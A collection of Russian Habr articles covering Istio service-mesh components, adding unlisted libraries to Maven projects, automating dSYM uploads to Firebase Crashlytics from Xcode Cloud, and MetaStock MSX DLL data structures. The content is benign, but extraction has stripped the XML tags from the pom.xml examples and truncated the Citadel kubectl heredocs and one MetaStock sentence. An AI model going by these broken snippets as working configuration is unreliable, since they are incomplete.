subsets:
- name: v1
labels:
version: v1
- name: v2
labels:
version: v2
```
У нас есть один хост, hello1, с двумя версиями целевого расположения — v1 и v2. Сначала мы назначаем 75 % трафика для v1, а оставшиеся 25 % — для v2. После внедрения конфигурации можно проверить статус, выждав предварительно заданное время, и снова изменить параметры.
Таким образом, Envoy предоставляет отличные возможности для управления трафиком, направленным в конкретные целевые расположения. Если для вашего приложения характерны всплески трафика, которые перегружают оборудование, можно внедрить задержки с помощью параметра `fault`:
```
apiVersion: networking.istio.io/v1alpha3
kind: VirtualService
metadata:
name: helloworld
spec:
hosts:
- hello1
http:
- fault:
delay:
percent: 10
fixedDelay: 3s
route:
- destination:
host: hello1
```
### Pilot
Основной компонент, взаимодействующий с Envoy, — это [Pilot](https://istio.io/docs/concepts/what-is-istio/#pilot), который осуществляет централизованное управление всеми экземплярами Envoy в mesh-сети. Pilot выступает в роли единого источника данных о состоянии среды. Это локальное хранилище всех правил для сервисов и их взаимодействий. Здесь же находятся сведения о выполняемых операциях. Pilot часто отождествляют с плоскостью управления Istio, так как он отвечает за администрирование и конфигурирование всех прокси Envoy (хотя технически другие компоненты, такие как Citadel, тоже относятся к плоскости управления).
Безусловно, Pilot играет важную роль в понимании принципов работы service mesh. Но на практике большинство операций, связанных с этим компонентом, выполняют прокси Envoy. Они периодически сверяются с Pilot, чтобы получать данные последних конфигураций, и регулярно обновляются. Любое изменение конфигурации mesh-сети подразумевает взаимодействие с плоскостью управления. Такое разделение задач — ключевой принцип Istio: прокси Envoy взаимодействуют с Pilot для создания сервисов, из которых строится приложение. Знание взаимосвязей между компонентами service mesh играет решающую роль в понимании сути этой технологии.
В первой статье мы говорили о преимуществах абстракции сети микросервисов, которая позволяет использовать высокоуровневые команды для определения взаимодействий между сервисами. Технология преобразовывает эти команды в точные конфигурации для сервисов, которые ей подконтрольны. Pilot — это компонент, отвечающий за эти ключевые функции. В качестве входных данных он получает правила обнаружения сервисов и генерирует определенные действия, которые выполняются прокси Envoy (или любыми другими sidecar-прокси, совместимыми с API Envoy).
### Тест-драйв компонента Pilot
Лучший способ больше узнать об экземплярах Pilot в mesh-сети — ознакомиться с данными о статусе sidecar-прокси. Список сервисов и идентификатор Pilot, который их контролирует, можно получить, выполнив следующую команду:
```
istioctl proxy-status
```
Отобразится перечень сервисов и их идентификаторов с соответствующим идентификатором Pilot и текущим статусом синхронизации. Sidecar-прокси со статусом Synced или Synced (100 %) обновлены и получили последние конфигурации от компонента Pilot. Статус Not Sent означает, что конфигурация не менялась в последнее время, поэтому синхронизировать нечего. А статус Stale означает, что sidecar-прокси не реагирует на изменения.
При возникновении проблем с синхронизацией можно указать идентификатор конкретного сервиса в команде статуса прокси и просмотреть сведения об ошибках синхронизации между Pilot и sidecar. Например, если представленный выше список сервисов включает идентификатор `hello-world-v2–5aa3f7abd-ppz2n.default`, можно выполнить команду:
```
istioctl proxy-status hello-world-v2-686a3b641-4r52s.default
```
На выходе вы получите следующее:
```
Clusters Match
Listeners Match
Routes Match (RDS last loaded at Fri, 24 May 2019 20:22:14 UTC)
```
Обратите внимание, что вид выходных данных команд статуса прокси различается в разных версиях Istio (в частности, в версиях 1.0.5, 1.1.2 и в последней версии 1.1.7). Так, в более ранних версиях Istio выходные данные содержали полный объект JSON, но начиная с версии 1.1.7 они выглядят так, как показано выше. Вы можете столкнуться с другими форматами выходных данных.
Pilot покажет форматированные различия между изменениями конфигурации и текущим состоянием сервиса. Так вы сможете отследить, какие изменения еще не были внедрены в сервис и подтверждены.
### Mixer
Как и Pilot, Mixer — это [компонент](https://istio.io/docs/concepts/what-is-istio/#mixer) Istio, который работает с трафиком и применяет настраиваемые правила. Основное отличие состоит в том, что Mixer работает на уровне всей mesh-сети и позволяет применять глобальные правила. Это значит, что его можно использовать для сбора телеметрии по всему приложению или настройки глобальных ограничений на использование тех или иных сервисов.
Теперь давайте разберемся, чем отличается работа Envoy и Mixer. Само название sidecar-прокси предполагает, что Envoy добавляется к каждому сервису, развернутому в приложении, и работает с трафиком, направленным в этот сервис. Mixer же функционирует на уровне всего приложения и применяет правила, заданные для среды в целом.
Как это работает? Правила могут быть самыми разными: от простой регистрации запросов с метками времени и IP-адресами до применения сложных квот и белых списков для более надежной защиты. Именно Mixer обеспечивает централизацию, свойственную монолитным приложениям. Хотите настроить выставление счетов на основе количества запросов, отправляемых пользователем, в SaaS-приложении? Это можно сделать с помощью Mixer. Необходимо включить регистрацию событий во внешних сервисах при каждом обращении пользователя к конфиденциальной информации? Снова Mixer.
Еще одна полезная возможность этого компонента — интеграция со сторонними подключаемыми модулями. Основной источник централизованной информации о приложении должен быть совместим с инструментами для визуализации операций или просмотра журналов. Mixer позволяет добавлять эти возможности в Kubernetes и удобно отображать собираемую информацию, часто в режиме реального времени. Одна такая платформа для мониторинга событий (Prometheus) уже интегрирована.
Подобные инструменты существенно облегчат вам жизнь. Mixer предоставляет данные mesh-сети, которые ранее были недоступны для микросервисных развертываний. А поскольку самостоятельно извлекать сведения об их активности непросто, на помощь придут различные специализированные инструменты.
### Использование Mixer
Istio поставляется с несколькими политиками Mixer, готовыми для развертывания. Чтобы начать сбор данных телеметрии, нужно просто применить файл YAML с конфигурацией:
```
kubectl apply -f samples/bookinfo/telemetry/metrics.yaml
```
После этого входящий трафик будет регистрироваться и отправляться в центральный экземпляр Mixer. Если сервис активен, вы сразу же будете видеть результаты. В противном случае можно искусственно направить трафик в сервис.
Prometheus, встроенный инструмент для запроса журналов в Istio, — простейший способ просматривать трафик. Настройте переадресацию портов Prometheus:
```
kubectl -n istio-system port-forward $(kubectl -n istio-system get pod -l app=prometheus -o jsonpath='{.items[0].metadata.name}') 9090:9090 &
```
Теперь Prometheus будет выполняться через порт 9090 локального компьютера — можно запрашивать журналы из этого расположения.
### Citadel
Помимо масштабируемости, обеспечиваемой Envoy, и обширных сведений, предоставляемых Mixer, одним из преимуществ облачной mesh-архитектуры является безопасность. В Istio для этого используется [Citadel](https://istio.io/docs/concepts/what-is-istio/#citadel) — основной защитный компонент. Он помогает управлять ключами и сертификатами, которые являются неотъемлемой частью современных развертываний микросервисов.
Управление безопасностью развертывания микросервисов — не самая простая задача при переходе на сервисную архитектуру. Вам придется администрировать множество отдельных, постоянно меняющихся, самоподписанных сертификатов (в случае использования взаимной аутентификации TLS) или отказаться от шифрования и надеяться на лучшее.
Citadel берет значительную часть работы на себя. Этот компонент автоматически осуществляет создание и хранение ключей на основе определений сервисов и администрирует их с помощью встроенной инфраструктуры управления секретными ключами Kubernetes. Постоянно взаимодействуя с Kubernetes, Citadel гарантирует, что каждому новому сервису будет назначен сертификат, а каждый новый прокси Envoy будет доверять сертификату, развернутому с таким новым сервисом.
Иными словами, больше нет оснований для отказа от использования взаимной аутентификации TLS, которая сегодня считается наилучшим вариантом для сервисной архитектуры. Каждый сервис получает подтверждение TLS при обмене данными с другими сервисами, поэтому, даже если злоумышленник сможет просматривать сетевой трафик, данные будут зашифрованы и надежно защищены.
Разумеется, поддержка самоподписанных сертификатов и взаимной аутентификации TLS — лишь некоторые возможности Citadel. Компонент может взаимодействовать со сторонними центрами сертификации и использовать альтернативные сертификаты, если вы уже внедрили меры безопасности на их основе. Также он позволяет в случае необходимости применять более строгие политики, например взаимную аутентификацию TLS по протоколу HTTPS. Как видите, Citadel предоставляет очень гибкие возможности защиты.
### Использование Citadel
Хотя функции безопасности этого компонента достаточно сложны, приступить к работе с Citadel совсем несложно. Как и в случае Mixer, основная часть работы выполняется автоматически. Чтобы запустить процесс, необходимо лишь активировать правильную конфигурацию.
Например, для включения глобальной взаимной аутентификации TLS нужно изменить политику аутентификации mesh-сети. Это можно сделать с помощью kubectl, применив следующую команду:
```
kubectl apply -f - <
```
Но это еще не все. Сервисы получили команду принимать входящий трафик с использованием TLS, но они не настроены для отправки исходящих запросов через TLS, поэтому в данный момент обмен данными невозможен. Чтобы применять TLS и для исходящих запросов, настройте правила сетевого взаимодействия:
```
kubectl apply -f - <
```
Затем проверьте работу сервисов. Теперь они могут обмениваться данными друг с другом, но для этого используется зашифрованный трафик. Благодаря всего двум командам ваш трафик надежно защищен, а сеть находится в безопасности.
### Заключение
Теперь вы гораздо лучше осведомлены о возможностях Istio и о том, как они связаны с преимуществами service mesh в целом. Четкое распределение задач — одна из сильных сторон этого инструмента. Все компоненты, такие как sidecar-прокси в Envoy или система управления ключами Citadel, являются изолированными и самостоятельными.
Мы советуем вам выделить немного времени на изучение принципов их функционирования. Поэкспериментируйте с одним или двумя компонентами в пробном приложении или проработайте один из наших примеров. Так вы лучше поймете возможности технологии service mesh.
Разумеется, одному разработчику будет сложно разобраться во всех нюансах работы Istio. Технологии непрерывно развиваются, каждый день добавляются новые возможности, а старые претерпевают изменения — если самостоятельно их отслеживать, придется уделять этому все свое время. Поэтому мы собрали наглядные примеры, чтобы помочь вам разобраться в скрытых процессах. А упомянутые вспомогательные инструменты позволят грамотно выстроить работу с Istio. | https://habr.com/ru/post/478416/ | null | ru | null |
# Как с помощью maven работать с библиотеками, которых в maven нет
В статье я расскажу, как подключить библиотеку, которой в maven по умолчанию нет, и как подключить другую библиотеку, исходники которой давным-давно потеряны.
Также я опишу, как сделать maven проект, который генерирует артефакт, по совместительству являющийся библиотекой, и как подключить эту библиотеку к другому своему же maven проекту.
Эта статья для тех, кто только начинает осваивать java.
В моей [предыдущей статье](https://habrahabr.ru/post/311108/) было сказано, что maven сам скачает все указанные в pom.xml зависимости. А вот что будет, если он какую-нибудь зависимость не найдёт? В таком случае maven скажет, что зависимость не обнаружена и прервёт процесс сборки с ошибкой. Что делать в этом случае?
Этот вопрос, на самом деле, распадается на несколько вопросов, каждый из которых надо решать индивидуально. Выбор решения же определяется тем, где эта зависимость есть.
Зависимость может быть в интернете в каком-то месте, о существовании которого maven не знает. Ещё она может быть в виде jar файла у вас на руках и, наконец, в виде исходного кода, оформленного как maven проект.
Об этих трёх случаях мы и поговорим.
Но сначала надо коротко прояснить один вопрос.
Откуда maven качает библиотеки
------------------------------
На просторах интернета есть сервер, на котором выложены java библиотеки. Этот сервер называется репозиторием, а по-русски — хранилищем. Это не какой-то абстрактный, а вполне конкретный ресурс, адрес которого зашит в дефолтные настройки maven. Поэтому он называется репозиторием по умолчанию. Именно там maven будет искать зависимости из pom.xml.
Как быть, если библиотеки нет в удалённом хранилище по умолчанию, но она есть в другом удалённом хранилище
----------------------------------------------------------------------------------------------------------
Первая и, возможно, самая частая проблема возникает, если библиотеки в этом умолчальном репозитории нет или в случае, если этот репозиторий с машины, на которой осуществляется сборка, недоступен, например, по соображениям безопасности.
Причины проблемы немного разные, но решение одинаковое — нужно указать репозиторий, в котором зависимости есть. Это либо какой-то другой адрес в Интернете, либо адрес репозитория, поднятого админами в локальной сети.
Как указать maven проекту, где искать дополнительный репозиторий
----------------------------------------------------------------
Для того, чтобы указать maven, что зависимости надо искать не только в умолчальном репозитории, существует штатный механизм. Вот так можно прописать ещё один адрес для поиска.
```
id репозитория
адрес репозитория
```
Далее мы подключили репозиторий проекта Spring, в котором можно найти последние версии этого семейства бибилиотек. Вот как это выглядит внутри pom.xml
```
com.springsource.repository.bundles.release
http://repository.springsource.com/maven/bundles/release
```
Теперь maven, когда не найдёт зависимости в репозитории по умолчанию, или обнаружит, что оный недоступен — не запаникует, а поищет библиотеку в ещё одном репозитории и, если всё идёт по плану, найдёт её там. Тут следует уточнить, что если ваша программа может быть использована в качестве зависимости, например, если сама является библиотекой, то класть тег репозиторий в pom.xml — не лучшая идея. Объяснение того, почему это так, выходит за рамки статьи, но с ним можно ознакомиться [тут](http://blog.sonatype.com/2009/02/why-putting-repositories-in-your-poms-is-a-bad-idea/).
Но бывает так, что библиотеки в репозиториях нет. Например, если это драйвера для MSSQL, или если это проприетарная библиотека, которую вы недавно приобрели за большие деньги.
Как подключить библиотеку, которой в репозиториях нет
-----------------------------------------------------
Подключить такую библиотеку можно несколькими способами. Например, если у вас есть свой репозиторий в локальной сети, то можно (а иногда даже нужно), положить библиотеку туда, и тем самым свести задачу к предыдущей.
Но, если это возможно, такую библиотеку лучше положить в проект и хранить прямо в системе контроля версий. Тогда библиотека будет доступна программе всегда и на любой машине, а шаг по копированию этой библиотеки в репозиторий можно не включать в мануал.
Для обработки таких кейсов у maven тоже есть штатный механизм. Только что мы выяснили, как указать maven удалённый репозиторий, отличный от умолчального. Так вот, не обязательно использовать удалённое хранилище. Можно сделать репозиторий в локальной файловой системе, положить туда библиотеку и проинструктировать maven искать зависимости ещё и там.
Как создать свой локальный репозиторий
--------------------------------------
Для этого, как сказано выше, у maven есть штатное средство.
Допустим у нас есть библиотека, которая находится в jar файле под названием hello-world-library-1.0-SNAPSHOT.jar. О библиотеке нам известно, что в ней есть один класс HelloWorld, который включает один статический метод say, печатающий в консоли, как несложно догадаться, Hello World.
Мы хотим в директории проекта создать директорию lib, в которой будет находиться наш дополнительный репозиторий, и поместить туда библиотеку. Для этого достаточно в директории проекта выполнить следующую команду.
```
mvn \
deploy:deploy-file \
-Durl=file:./lib \
-Dfile=hello-world-library-1.0-SNAPSHOT.jar \
-DgroupId=com.local \
-DartifactId=hello-world-library-local \
-Dpackaging=jar \
-Dversion=1.0-SNAPSHOT
```
Если вы используете операционную систему Windows, нужно заменить \ на ^, то есть написать
```
mvn ^
deploy:deploy-file ^
-Durl=file:./lib ^
-Dfile=hello-world-library-1.0-SNAPSHOT.jar ^
-DgroupId=com.local ^
-DartifactId=hello-world-library-local ^
-Dpackaging=jar ^
-Dversion=1.0-SNAPSHOT
```
Или можно просто убрать \ и написать команду в одну строчку.
```
mvn deploy:deploy-file -Durl=file:./lib -Dfile=hello-world-library-1.0-SNAPSHOT.jar -DgroupId=com.local -DartifactId=hello-world-library-local -Dpackaging=jar -Dversion=1.0-SNAPSHOT
```
Обратите внимание, как и для любого другого артефакта, для библиотеки нам нужно придумать groupId, artifactId и version. Мы потом укажем их в pom.xml, когда будем подключать зависимость.
Внутри директории, которую создаст команда, находится полноценный репозиторий, для использования которого достаточно указать maven, где он находится. Все сведения о том, какие библиотеки можно там найти, содержатся непосредственно в структуре директорий свежесозданного репозитория. Для последующего использования репозитория, например, на других машинах, команду deploy-file выполнять не надо.
Дать проекту знать, что репозиторий существует, и показать, где он находится, можно уже описанным способом, правда, с поправкой на то, что репозиторий локальный.
```
localrep
local repository
file:${project.basedir}/lib
```
Обратите внимание на пятую строку
```
file:${project.basedir}/lib
```
Тут сказано, что искать репозиторий надо в директории проекта, на которую указывает встроенная переменная maven **project.basedir**.
Класс, использующий библиотеку, будет предельно прост, но для порядка приведём его код.
```
package com;
import static com.HelloWorld.say;
public class Application {
public static void main(String[] argv) {
say();
}
}
```
Осталось добавить в pom.xml зависимость и можно собирать проект.
```
4.0.0
com
library-user-with-local-repository
1.0-SNAPSHOT
localrep
local repository
file:${project.basedir}/lib
com.local
hello-world-library-local
1.0-SNAPSHOT
```
Проверим:
```
mvn clean compile exec:java -Dexec.mainClass="com.Application"
```
Работает!
Директорию lib надо закомитить и библиотека будет доступна проекту вообще всегда.
Однако следует помнить об одном правиле.
**Нужно обязательно обновлять номер версии библиотеки в локальном репозитории при каждом изменении jar файла**
Maven воспринимает репозитории как внешние, поэтому, если не изменить номер версии, то maven будет использовать не версию библиотеки из директории lib, а ту, что он закешировал на локальной машине. В данном конкретном случае это не должно сыграть роли из-за суффикса SNAPSHOT, но об этом нужно знать.
Есть ещё один распространённый сценарий. У вас есть своя библиотека, которую вы сами собираете с помощью maven и потом подключаете к другому maven проекту.
Как сделать свою java библиотеку
--------------------------------
Для того, чтобы сделать библиотеку, достаточно написать класс с модификатором public. И потом можно будет использовать этот класс в коде, к которому подключена библиотека.
Вот такой, например, класс.
```
package com;
public class HelloWorld {
public static void say() {
System.out.println("Hello world");
}
}
```
Теперь нужно сделать maven проект, который будет собирать библиотеку, содержащую этот класс.
Как мы помним, с точки зрения maven, библиотека — это просто артефакт, поэтому помник будет выглядеть тривиально.
```
4.0.0
com
hello-world-library
1.0-SNAPSHOT
```
Итак, у нас есть класс со статическим методом, у нас есть описание артефакта для maven. Осталось только собрать этот код, чтобы получилась библиотека, то есть jar файл.
Просто напишем в консоли:
```
mvn package
```
После этого в директории target появится файл с названием **\-\.jar**, в нашем конткретном случае — **hello-world-library-1.0-SNAPSHOT.jar**, который и есть ваша библиотека.
Как подключить свежесозданную библиотеку к своему maven проекту
---------------------------------------------------------------
Для того, чтобы библиотеку потом можно было подключать к другому проекту, нужно вместо **package** написать **install**.
```
mvn install
```
Это нужно будет делать после каждого изменения в коде библиотеки, и на каждом компьютере, на котором мы захотим эту библиотеку использовать.
Теперь можно сделать новый проект, который будет использовать библиотеку.
```
4.0.0
com
hello-world
1.0-SNAPSHOT
com
hello-world-library
1.0-SNAPSHOT
```
Внутри проекта будет один класс, который использует статический метод из библиотеки, чтобы сказать Hello world. Мы этот класс уже видели.
```
package com;
import static com.HelloWorld.say;
public class Application {
public static void main(String[] argv) {
say();
}
}
```
Проверим ещё раз:
```
mvn compile exec:java -Dexec.mainClass="com.Application"
```
Работает не хуже предыдущего варианта!
Что если ваша библиотека использует другую библиотеку?
------------------------------------------------------
Вопрос, казалось бы, глупый, но на всякий случай проведём эксперимент.
Сделаем библиотеку с непустыми зависимостями.
```
4.0.0
com
hello-world-library
1.0-SNAPSHOT
org.apache.commons
commons-lang3
3.4
```
и напишем для неё код
```
package com;
import static org.apache.commons.lang3.ArrayUtils.*;
public class HelloWorld {
public static void say() {
String[] phrase = {"Hello"};
phrase = add(phrase, " ");
phrase = add(phrase, "world");
for (String word : phrase) {
System.out.print(word);
}
System.out.println();
}
}
```
Теперь соберём её
```
mvn clean install
```
Перейдём в директорию с нашим проектом, который эту библиотеку использует и попробуем его собрать и запустить.
```
mvn clean compile exec:java -Dexec.mainClass="com.Application"
```
И работает!
Как это работает
----------------
Строго говоря знать, как процесс устроен внутри, не обязательно, но всё равно очень полезно.
Команда **mvn install** соберёт библиотеку, а потом положит её в локальный репозиторий по умолчанию. То есть в то же самое место, где лежат все библиотеки, которые вы когда-либо подключали к maven проектам, за исключением, разумеется, тех, которые находятся в локальных репозиториях, сделанных лично вами.
Потом, при сборке проекта, использующего эту библиотеку, maven поищет её в локальном хранилище, найдёт и подключит.
Итого
-----
* Maven ищет библиотеки в удалённом репозитории по умолчанию.
* Чтобы подключить библиотеку, которой нет в репозитории по умолчанию, можно указать дополнительные удалённые репозитории, тогда maven будет искать библиотеки ещё и в них.
* Если библиотеки нет ни в одном удалённом репозитории, то можно с помощью штатного механизма maven создать локальный репозиторий и добавить его в pom.xml.
* При обновлении репозитория, который находится в исходниках проекта, нужно всегда менять версию библиотеки, иначе могут быть непонятные проблемы.
* Если у вас есть maven проект, то из него можно сделать библиотеку командой **mvn package**.
* Командой **mvn install** можно поместить библиотеку в локальный репозиторий по умолчанию.
* Чтобы использовать библиотеку в другом проекте, достаточно указать её в качестве зависимости в pom.xml.
**UPD**: В комментариях [sshikov](https://habrahabr.ru/users/sshikov/), [igor\_suhorukov](https://habrahabr.ru/users/igor_suhorukov/), [jbaruch](https://habrahabr.ru/users/jbaruch/) и другие высказали мнение, что библиотеки нельзя хранить вместе с исходниками, потому что для этого есть другие, предназначенные специально для этого инструменты, такие как Nexus и Artifactory.
Тут я совершенно согласен. Когда речь идёт о крупных проектах и корпоративной разработке, быть по-другому просто не может. Но, с моей точки зрения, есть случаи, когда удобнее сделать иначе. Я имею в виду маленькие проекты, созданные в процессе обучения, потому что именно с такими вещами обычно имеют дело новички, и случаи, когда доступа к инфраструктуре нет, а добавить библиотеку в сборку нужно в течение 10 минут. Нужно было с самого начала уточнить, что речь в статье именно о таких кейсах.
Да, хранить библиотеки в системе контроля версий — хак. Но, как и все хаки, это такая штука, которой в некоторых случаях можно пользоваться и о возможности осуществления которой неплохо бы знать.
Причины, по которым техника, предложенная в статье, не подходит для корпоративной разработки, хорошо раскрыты в комментариях. Также советую обратить внимание на статью от разработчиков Nexus, спасибо [jbaruch](https://habrahabr.ru/users/jbaruch/) за [ссылку](http://blog.sonatype.com/2009/02/why-putting-repositories-in-your-poms-is-a-bad-idea/). Статья интересная, если не найду существующего перевода на Хабре, планирую перевести ее и сделать отдельным постом. | https://habr.com/ru/post/323008/ | null | ru | null |
# Загружаем dSYM в Firebase Crashlytics через Xcode Cloud
Всем привет, в этой статье я бы хотел поделиться опытом о том, как наша команда столкнулась со сложностями загрузки dSYM в Firebase Crashlytics, и как мы эти сложности решили. Важно сказать пару слов о нашем стеке: все зависимости установлены через Swift Package Manager, мы используем Xcode 14, а в качестве CI CD мы используем Xcode Cloud с первых дней его релиза.
Предыстория
-----------
Вся история началась с сообщения от CTO, в котором он спросил, почему ему, после последнего релиза в App Store, на почту приходит много писем такого рода:
Сообщения о потерянных файлах dSYM.Впрочем, помимо CTO такие письма получили все разработчики из разных команд, которые есть в нашем Firebase'e. Чтобы хоть как-то оперативно исправить ситуацию и перестать засорять коллегам почту, я решил отключить email уведомления об этой ошибке на время изучения проблемы. Тогда я узнал, что каждый участник Firebase'а должен самостоятельно отключить для себя эти уведомления.
Отключить уведомления о потерянных dSYM файлахКажется, большое количество iOS разработчиков рано или поздно сталкивались с потерянными dSYM файлами, и, как правило, всё сводится к тому, чтобы перепроверить скрипт в Build phase или в CI и вручную догрузить недостающие dSYM файлы. Со скриптом всё было на первый взгляд нормально, поэтому я решил просто скачать из App Store Connect'a dSYM файлы вручную и загрузить их в Firebase Crashlytics, но тут возник нюанс - я не нашёл эти файлы для последних сборок.
Xcode 14 и Bitcode
------------------
Незадолго до релиза мы всем составом iOS команды обновились до Xcode 14, а также перевели версию IDE на такую же в нашем релизном workflow в Xcode Cloud. Очевидно, что копать нужно было куда-то туда, и я решил более внимательно изучить список того, что изменилось в последней версии Xcode. Вот что я обнаружил в [release notes](https://developer.apple.com/documentation/xcode-release-notes/xcode-14-release-notes) Xcode 14:
> **Deprecations**
>
> Starting with Xcode 14, bitcode is no longer required for watchOS and tvOS applications, and the App Store no longer accepts bitcode submissions from Xcode 14.
>
> Xcode no longer builds bitcode by default and generates a warning message if a project explicitly enables bitcode: “Building with bitcode is deprecated. Please update your project and/or target settings to disable bitcode.” The capability to build with bitcode will be removed in a future Xcode release. IPAs that contain bitcode will have the bitcode stripped before being submitted to the App Store. Debug symbols can only be downloaded from App Store Connect / TestFlight for existing bitcode submissions and are no longer available for submissions made with Xcode 14. (86118779)
>
>
И да, действительно, я зашёл в App Store Connect и увидел, что в Build metadata для сборки, собранной на 13-ой версии, есть dSYM файлы, но для сборки, которая была собрана на последней, 14-ой версии - их нет.
Build metadata для сборок Xcode 13 и Xcode 14Где и как скачать dSYM
----------------------
Для того, чтобы скачать dSYM для сборки из Xcode Cloud, я перешёл в интересующую меня сборку в панели Xcode Cloud, и затем, в разделе Artifacts, я скачал iOS архив, который представляет из себя `.xcarchive` файл. dSYM файлы я обнаружил, когда открыл `.xcarchive` файл через Show Package Contents и перешёл в папку dSYM. Затем я успешно загрузил всё это в Firebase Crashlytics вручную, но осталась последняя, и самая интересная часть - это автоматизация процесса загрузки.
Скачать iOS архив интересующей сборки из артефактов Xcode CloudАвтоматизация загрузки dSYM в Xcode Cloud
-----------------------------------------
Для того, чтобы написать скрипт, который бы автоматизировал процесс загрузки dSYM в крашлитику, нужно было понять, как встроить эту логику в workflow нашего CI. Как известно, в Xcode Cloud существует 3 вида скриптов, каждый из которых будет выполнен в определённый момент времени. Подробно о custom builds scripts, и как их добавить в ваш workflow отлично описано в [документации](https://developer.apple.com/documentation/xcode/writing-custom-build-scripts).
Виды скриптов в Xcode CloudВ нашем случае, интересует именно `post-xcodebuild` скрипт, который будет выполнен после успешной сборки. Далее, нам необходимо понимать, как мы можем получить доступ к `upload-symbols` скрипту от Firebase ([документация](https://firebase.google.com/docs/crashlytics/get-deobfuscated-reports?platform=ios)), который и будет выгружать наши dSYM. В Xcode Cloud существует набор некоторых переменных, к которым мы можем обратиться в любом из скриптов – речь о [Environment variables](https://developer.apple.com/documentation/xcode/environment-variable-reference). Здесь я не буду разбирать каждую из переменных, они, впрочем, отлично описаны в самой документации. Для нашей задачи нам понадобиться всего лишь две:
* `CI_DERIVED_DATA_PATH` - это именно тот каталог, углубившись в который можно найти `upload-symbols` скрипт. *\* Аналогичный каталог вы можете найти и у себя локально в* `/Library/Developer/Xcode/DerivedData/Your build`;
* `CI_ARCHIVE_PATH` - это путь к `.xcarchive` файлу, про который я рассказывал выше. Это то самое место, откуда мы будем забирать свежие dSYM файлы.
Наш скрипт должен делать всего лишь одно действие: запускать `upload-symbols` скрипт с правильными аргументами (валидный путь к .plist и dSYM). Вот, что у меня получилось:
```
#!/bin/sh
set -e
if [[ -n $CI_ARCHIVE_PATH ]];
then
echo "Archive path is available. Let's run dSYMs uploading script"
# Move up to parent directory
cd ..
# Debug
echo "Derived data path: $CI_DERIVED_DATA_PATH"
echo "Archive path: $CI_ARCHIVE_PATH"
# Crashlytics dSYMs script
$CI_DERIVED_DATA_PATH/SourcePackages/checkouts/firebase-ios-sdk/Crashlytics/upload-symbols -gsp /GoogleService-Info.plist -p ios $CI_ARCHIVE_PATH/dSYMs
else
echo "Archive path isn't available. Unable to run dSYMs uploading script."
fi
```
Впрочем вот и всё, давайте запустим workflow с этим скриптом и посмотрим на логи. Скрипт выполнен успешно и dSYM файлы загружены в крашлитику.
Логи из Xcode cloud**Дополнительно**
Если вы столкнулись с подобным warning'ом, то обратите внимание на информацию из [документации](https://developer.apple.com/documentation/xcode/writing-custom-build-scripts) Apple:
> **Important**
>
> Xcode Cloud uses `zsh` as its default Unix shell. As a best practice, always include a shebang in the first line of your custom build script; for example `#!/bin/sh`.
>
>
Обязательно измените тип вашего файла на исполняемый, это можно сделать с помощью команды:
```
chmod +x ci_post_xcodebuild.sh
```
На этом всё, наш скрипт готов. Благодарю за внимание и буду рад ответить на интересующие вопросы. | https://habr.com/ru/post/700742/ | null | ru | null |
# Пишем библиотеку DLL для Metastock с нуля.Часть2
В этой статье будут подробно рассмотрены наша функция ([часть1](http://habrahabr.ru/post/219133/), [часть3](http://habrahabr.ru/post/220111/)), правила получения данных из Metastock’а, их обработки и возврата результата обратно в Metastock. Эта информация поможет избежать ошибок в работе MSX DLL.
Наша функция имеет вид:
```
DLL_EXPORT BOOL __stdcall Price(const MSXDataRec *a_psBasic,
const MSXDataInfoRecArgsArray *a_psArrayArgs,
const MSXNumericArgsArray *a_psNumericArgs,
const MSXStringArgsArray *a_psStringArgs,
const MSXCustomArgsArray *a_psCustomArgs,
MSXResultRec *a_psResult)
```
, где
\*a\_psBasic — указатель на структуру MSXDataRec (все доступные данные о ценных бумагах);
\*a\_psArray — указатель на структуру MSXDataInfoRecArgsArray (аргументы массивов);
\*a\_psNumeric — указатель на структуру MSXNumericArgsArray (числовые аргументы);
\*a\_psString — указатель на структуру MSXStringArgsArray (строковые аргументы);
\*a\_psCustom — указатель на структуру MSXCustomArgsArray (Custom-аргументы);
\*a\_psResult — указатель на структуру MSXResultRec (результат обработки данных возвращаемый в Metastock);
\*a\_psValue — указатель на структуру MSXDataInfoRec (все числовые данные, используемые в расчетах).
Все структуры описываются в файле **MSXStruc.h**.
### Хранение данных и расчеты
Все числовые данные, используемые в расчетах индикаторов, сохраняются в структурах, известных как массивы данных. Массивы данных используются для хранения данных цен (например, Open, High, Low, и т.д.), числовых констант и результатов расчета индикаторов. Когда MetaStock поставляет данные о ценных бумагах и аргументах функций MSX DLL, эти данные используются как массивы. Когда функция, вычисленная MSX DLL, возвращает результаты индикатора в MetaStock, то результат возвращается в виде массива данных.
Массивы данных реализованы в структуре **MSXDataInfoRec** и имеют три основных компонента:
• Data elements — элементы данных.
• First valid index — начальная точка отсчета (Fvi).
• Last valid index — конечная точка отсчета (Lvi).
Элементы данных являются фактическими числовыми значения, связанными с массивом данных. Эти значения сохраняются в массиве в виде **float** значений. Первый и последний допустимый индекс используются для определения, какие элементы данных содержат достоверные значения. Все элементы данных между первым и последним допустимым индексом (включительно) содержат достоверные данные. Все элементы вне этого диапазона имеют неопределенные значения и должны игнорироваться для всех расчетов.
Массив данных считается "**пустым**", если Fvi
Или, если результат 100 — периодной скользящей средней применяется к массиву данных цен ЦБ, который содержит меньше 100 элементов, тогда получаем пустой массив данных.
Первый и последний допустимые индексы очень важны во время расчета индикатора. Расчеты всегда должны быть ограничены элементами данных, содержащихся между ними. Два важных момента следует понимать, чтобы правильно установить Fvi и Lvi индексы для возвращаемого массива данных:
• Всегда ограничивать расчеты в промежутке допустимых диапазонов всех используемых входных массивов данных.
• Fvi и Lvi в результате расчета должны сохранять свои позиции по отношению к значениям всех массивов входных данных.
Структура **MSXDataRec** содержит семь массивов данных:
• **sOpen**, **sHigh**, **sLow**, **sClose**, **sVol**, **sOI**, **sInd**,
хранящих свои значения в **MSXDataInfoRec** структуре. Эти массивы данных хранят все необходимые ценовые данные ЦБ.
Некоторые из этих массивов могут быть пустым, если ЦБ не имеет данных для этого поля цен (например, Open Interest).
• Кроме того, в структуре **MSXDataRec** содержится указатель на массив из структуры **MSXDateTime**.
Этот массив содержит информацию о дате и времени для каждой точки данных. Если функции расчета необходим доступ к дате и времени для N-го бара инструмента, надо ссылаться на N-ый элемент массива **psDate**. Обратите внимание, что этот массив отличается от такого массива данных как sHigh, sLow, и т.п.
• Массив данных **sInd** содержит данные для индикатора, выбранного пользователем. В случае пользовательского индикатора этот массив данных будет содержать значение для объекта диаграммы, к которой индикатор был прикреплен. Если не выбран участок sInd массив данных будет пустым.
• Обратите внимание, что расположение данных в этих массивах синхронизированы с N-м элементом каждого элемента массива, соответствующего временного периода.
